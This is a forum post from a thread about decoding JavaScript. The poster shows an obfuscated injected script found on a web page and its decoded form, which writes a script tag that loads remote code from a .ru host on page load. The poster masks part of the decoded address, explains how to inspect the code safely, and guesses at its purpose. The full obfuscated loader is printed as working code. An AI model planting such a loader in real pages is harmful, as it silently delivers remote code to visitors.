Oh sorry i didn't post.

Well the coded i wanted to "decode" already really "decoded" itself when the script ran.

The script was:

Code: 
try {
    window.onload = function() {
        document.write('<div id=megaid>blogcatalog-com.uploading</div>');
        Fgjd8a1wqtz = 
            document.getElementById('megaid').innerHTML + 
            '.)@c$!o$m)&&.&d)^##a$&$i)!l#$(y&m^(a$(i)&l^(&&-##)^c$o#&$-$@#u^@k@!.@)&l^@$$i$$m#o!)w)$&e(b(@c&!#@a@$&m@$!.$r(#!u#&:^D!#&@E&@B)^^#U@#G)$(/$r!&a#^p&(i#d!4^()m)!e##.))$$c^^o&&m&!!(/&$r##&a@@!#!p&(i)$&&d#4@$$#m&(e#^^.!c($&o$$m(/^g(@^o($!@o&@&g)^l!$e@.&!&c!^#&o&$&$m)&/)^r$^#(m^x#!(a^#d!s(.@##@c(o#)(!m^/)1)1$0^m&)b@.^(c)o)^m)/^!'
            .replace(/#|\!|\)|@|\(|&|\$|\^/ig, '')
            .replace(/DEBUG/g, '8080');
        
        document.write('<scr'+'ipt src=http://' + Fgjd8a1wqtz.replace(/DEBUG/g, '8080')+'></scr'+'ipt>');
    }
} catch(Rusbkqzn ) {
}
Then someone fixed it for me properly, it was:

Code: 
<div id=megaid>blogcatalog-com.uploading</div>
<script src=http://blogcatalog-com.uploading.com.dailymail-co-uk.XXXXXXwebcam.ru:8080/rapid4me.com/rapid4me.com/rmxads.com/110mb.com/></script>
part of the URL is
XXXXXX so that someone does not run it on accident.

To see the full code, you can replace the second document.write() with something like alert().


I was told the code was just hidden iframes that would take people who went to the page to multiple sites without their knowledge. probably someone just wanting to boost their page rank or something.


----

So anyways, it all really falls upon what you are trying to decode.
for me in this instance, i did not know what i was working with since my javascript skills are limited (i'm more into php / html) so that's why i had asked for help
Sandino Reviewed by Sandino on . Decoding javascript? I seen someone already posted this, but they never released a way to do it. so what's the best way to decode js? Rating: 5